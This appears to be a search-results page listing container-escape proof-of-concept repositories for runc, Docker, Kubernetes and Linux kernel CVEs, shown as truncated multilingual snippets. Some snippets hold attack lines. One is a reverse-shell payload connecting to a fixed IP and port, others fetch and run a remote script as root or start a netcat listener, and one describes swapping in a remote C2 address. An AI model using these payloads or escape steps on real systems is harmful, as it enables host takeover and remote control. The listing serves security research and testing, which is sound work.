1258 matches found
Learn-about-cve-2025-31133-poc
CVE-2025-31133-PoC について学ぶ 概要 CVE-2025-31133 の概念実証デモンストレーションと学習環境です。これは runc のセキュリティ脆弱性であり、競合状態を利用して maskedPaths 保護をバイパスするものです。maskedPaths は、コンテナが機密性の高いホストファイルシステムパスにアクセスするのを防ぐために設計されています。 https://github.com/user-attachments/assets/d7b4ea43-6cab-4ac5-bb07-08bc46479910 👉 このリポジトリは、Black Hat...
CVE-2025-9074
説明 Vibe が、インストールされていない可能性のあるツールに依存しない、純粋な Bash で小さなエクスプロイトスクリプトをコーディングしました。このスクリプトは内部の Docker API と通信し、新しいコンテナを作成して起動し、ホストの C ドライブをマウントしてから、その内部でコマンドを実行します。出力はコンソールにストリーミングされます。コンテナは後で削除されます。 使い方 ./exploit.sh "whoami"...
CVE-2024-21626-old-docker-versions
古い runc コンポーネントにおけるコンテナエスケープの脆弱性 CVE-2024-21626 CVE-2024-21626 の分析中に、他の古い Docker コンポーネントが fd リーク に対して脆弱であることを発見しました(これは セキュリティアドバイザリ GHSA-xr7r-f8xq-vfvv では言及されていません)。詳細な説明はこちらの完全な記事をお読みください。 1. 環境のセットアップ 🔨 A. Ubuntu 18.04.6 LTS Bionic Beaver のダウンロードとインストール...
CVE-2026-41567
CVE-2026-41567 1day Docker 逃逸漏洞 CVE-2026-41567 的 1day。 这是一个使用特洛伊木马化的 xz / unpigz 进行 Docker 逃逸的演示。 它可以很容易地修改为远程使用(例如,只需将 Docker 默认 IP 修改为远程 C2 即可)。 有关该漏洞利用的更多信息,请参见此处 PoC 在主机上运行 netcat 监听端口 50005 root@kitploit: ubuntu@ubuntu-noble:/CVE-2026-41567$ nc -vlp 50005 Listening on 0.0.0.0 50005 Connectio...
cve-2019-5736-poc
実行手順: 1. stage2.c 内の poc コマンドを編集 2. docker をビルド docker build -t cve . 3. docker を実行 docker run -d cve /bin/bash -c "tail -f /dev/null" 4. docker-runc をバックアップ cp /usr/bin/docker-runc /usr/bin/docker-runc.bak 5. docker exec -it docker-id /bin/bash 6. docker 内で実行 cd /root && ./run.sh && exit 7. dock...
CVE-2019-5736
🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 使用方法 : 该机器存在CVE-2019-5736漏洞,请按照Runc漏洞利用(CVE-2019-5736)中的步骤操作。 下载main.go文件,将文件中的payload修改为: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" 之后,运行: root@kitploit: go build main.go 搭建一个HTTP服务器: root@kitploit: python3 -m http.server...
CVE-2021-41091
CVE-2021-41091 Moby(Docker Engine)中的一个漏洞允许无权限用户在宿主机上遍历目录并直接执行 Docker 中的程序。如果 Docker 中存在 suid 程序,用户可在宿主机上以 suid 身份执行它。 PoC 在容器终端中下载 docker.sh 文件,然后以 root 用户身份执行: root@kitploit: wget https://raw.githubusercontent.com/jrbH4CK/CVE-2021-41091/main/docker.sh chmod +x docker.sh ./docker.sh 现在在宿主机中下载...
ZigRaceExploit
CVE-2021-25741 — Zig中的TOCTOU符号链接竞态利用 关于TOCTOU(检查时间,使用时间)竞态条件的教育性利用,它是CVE-2021-25741的根源,该漏洞存在于Kubernetes kubelet中。 该项目在本地(无需K8s集群)演示了并发符号链接交换如何能够绕过lstat和open之间的路径检查,并证明带有RESOLVE标志的openat2是解决方案。 目录 问题 利用的工作原理 代码架构 前提条件 构建 使用 本地Docker测试 openat与openat2对比 调整TOCTOU延迟 在真实Kubernetes节点上测试 预期结果 代码解释...
deepce
deepce root@kitploit: . == === /"""""""""""""""""""/ === / ===- \ X / \ \ / \/ / / / / / / / / \ ENUMERATE / // / / / // / / / ESCALATE ,/// ./// ESCAPE // 网站 Docker 枚举、权限提升与容器逃逸(DEEPCE) 为了与尽可能多的容器兼容,DEEPCE 使用纯 sh 编写,无任何依赖。如果可用,它会使用 curl、nmap、nslookup 和 dig 等额外工具,但在大多数情况下并不依赖它们进行枚举。...
subpath-exploit
サンプルKubernetesエスケープ(CVE-2017-1002101経由) 説明 本問題について耳にし、このガイドを参考にした後、もう少し詳しく調べてみたいと思いました。このリポジトリには、攻撃メカニズムを可能な限り単純な方法で示すいくつかのPodデプロイメントと補助シェルスクリプトが含まれており、Kubernetes管理者や運用者が深刻さと潜在的なリスクを完全に理解できるようにしています。認証済みユーザーであるか、Podのspec/template作成時に制御できる必要があるため、このエスケープが匿名で行われる可能性は低く、このような他の攻撃と組み合わせなければ実現しません。...
CDK
CDK - ゼロ依存コンテナペネトレーションツールキット 英語 | 简体中文 法的免責事項 事前の相互同意なしにCDKを使用してターゲットを攻撃することは違法です。CDKはセキュリティテスト目的のみに使用されます。 概要 CDKは、オープンソースのコンテナペネトレーションツールキットであり、OSに依存せずに様々なスリム化されたコンテナで安定したエクスプロイトを提供するように設計されています。便利なネットツールと多くの強力なPoC/EXPが付属しており、コンテナからの脱出やK8sクラスターの乗っ取りを容易にします。 クイックスタート cdk eva...
CVE-2025-9074-Docker-Exploit
CVE-2025-9074 Docker 容器命令执行工具 一个功能强大的 Docker 远程 API 漏洞利用工具,用于 CVE-2025-9074 漏洞的安全研究和测试。 核心优势 ✅ 全自动容器生命周期管理 :自动创建临时容器,操作完成后自动清理,不留痕迹 ✅ 智能路径处理 :自动识别并转换 Windows 路径为 Docker 挂载格式 ✅ 全自动化操作流程 :无需手动输入复杂命令,菜单式交互,一键完成文件操作 ✅ 跨平台兼容 :完美支持 Windows 和 Linux 系统 部分功能效果图 功能特性 容器操作 查看运行中的容器 查看所有容器(包括停止的) 创建新容器 停止容器...
cve_2019-5736-PoC
CVE-2019-5736 PoC このリポジトリには、CVE-2019-5736用のCベースの概念実証エクスプロイトが含まれています。 この脆弱性により、悪意のあるDockerコンテナがホストのruncバイナリを上書きし、ホスト上でroot権限で任意のコマンドを実行できるようになり、ホストシステムを完全に侵害します。 元のGoベースのPoC(Frichetten)に触発されました。 免責事項 このコードは教育目的のみ です。所有していない、またはテストする許可がないシステムでは実行しないでください。誤用は法的結果を招く可能性があります。 目次 1. プロジェクト構造 2...
Copy-Fail-CVE-2026-31431-Kubernetes-PoC
Copy Fail CVE-2026-31431 — Kubernetes 容器逃逸 PoC 一个概念验证(PoC),演示了完全无特权的容器 如何通过共享容器镜像层利用 CVE-2026-31431 Linux 内核页缓存损坏漏洞,在 Kubernetes 上实现节点级代码执行 。 核心攻击原语是:任何与攻击者控制的容器共享镜像层的特权 DaemonSet 都可被武器化,用于容器逃逸 。本 PoC 以 kube-proxy 作为具体示例,但该技术可推广到集群中的任何特权工作负载。 已在阿里云 ACK 、Amazon EKS 和 Google GKE 上验证——一个无特权 Pod 通过特权...
ipv6_frag_escape
IPV6FRAGESCAPE 一个针对CentOS / RHEL 10的可靠的未特权容器/监狱逃逸概念验证。 它利用了Linux内核中一个现已修复的IPv6分段漏洞,位于ip6appenddata函数中(上游通过 38becddc 修复,无CVE),这是一个 slab 内的线性溢出,溢出到数据包自身头部对象尾部的 skbsharedinfo 结构中。本README仅记录利用链,不涵盖触发条件。 范围 目标:CentOS / RHEL 10(内核 6.12.x,例如 6.12.0-242.el10)。 起始条件:一个位于网络隔离容器内的未特权进程,能够访问未特权用户命名空间。...
page_inject
pageinject - AFALG aead 跨容器逃逸 AFALG aead 漏洞跨容器利用——从一个被攻陷的容器横向移动到每一个共享同一libc.so.6 镜像层的兄弟容器。 这是一个逃逸原语 :它运行在攻击者已经攻陷的未授权容器内部 ,并利用 AFALG authencesn ESN 旋转 4 字节任意写入漏洞(CVE-2026-31431)在 libc.so.6 的页缓存页中植入一个持久的 read 钩子。由于 Docker/containerd 使用共享 inode 支持 overlayfs...
CVE-2022-0492-Checker
CVE-2022-0492-Checker 一个用于检查容器环境是否容易受到 CVE-2022-0492 影响的 容器逃逸 漏洞检查脚本。 关于漏洞 2月4日 , Linux 宣布了 CVE-2022-0492 ,一个内核中的新权限提升漏洞。 CVE-2022-0492 标志着控制组 cgroups 中的一个逻辑缺陷,而 cgroups 是 Linux 容器的基础构建块。此漏洞是近年来发现的最简单的 Linux 权限提升漏洞之一:Linux 内核错误地将一个特权操作暴露给了非特权用户。 幸运的是,大多数容器环境中的默认安全加固足以防止容器逃逸。运行了 AppArmor 或 SELinux...
rootpacket-cve-2026-31431
rootpacket CVE-2026-31431 Un kit de criptominería Linux de contenedor a host capturado de ataques en vivo en las honeypots de Kinryū Labs. Se infiltra a través de una API del motor Docker expuesta, escapa del contenedor para obtener acceso root al host con CVE-2026-31431 , instala un rootkit del...
CVE-2024-21626-runcPOC
Reproducción de la vulnerabilidad CVE-2024-21626 Vulnerabilidad de escape de docker runc 1. Introducción a la vulnerabilidad Nombre de la vulnerabilidad| Vulnerabilidad de escape de docker runc ---|--- ID de vulnerabilidad| CVE-2024-21626 Fecha de divulgación| 2024-01-31 Característica| /...
CVE-2022-0847-Container-Escape
CVE-2022-0847 CVE-2022-0847 used to achieve container escape overwrite any read-only files on host Slides in Chinese available here 利用CVE-2022-0847 Dirty Pipe 实现容器逃逸(效果为覆写宿主机上任意只读文件) 中文汇报PPT在这里 Introduction If the kernel is vulnerable to CVE-2022-0847, the attacker can overwrite read-only files...